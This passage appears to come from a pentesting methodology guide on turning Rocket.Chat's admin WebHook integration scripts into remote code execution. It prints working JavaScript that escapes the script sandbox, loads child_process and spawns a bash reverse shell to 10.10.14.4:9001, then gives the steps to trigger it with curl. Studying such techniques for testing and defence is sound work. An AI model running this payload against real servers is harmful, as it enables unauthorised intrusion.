|
|

|
|
|
|
* According to the [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations), both use ES2015 / ECMAScript 6 ([basically JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) to process the data. So lets get a [rev shell for javascript](../../generic-methodologies-and-resources/shells/linux.md#nodejs) like:
|
|
|
|
```javascript
|
|
const require = console.log.constructor('return process.mainModule.require')();
|
|
const { exec } = require('child_process');
|
|
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
|
|
```
|
|
|
|
* Configure the WebHook (the channel and post as username must exists):
|
|

|
|
|
|
* Configure WebHook script:
|
|
|
|
<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
* Save changes
|
|
* Get the generated WebHook URL:
|
|
|
|

|
|
|
|
* Call it with curl and you shuold receive the rev shell
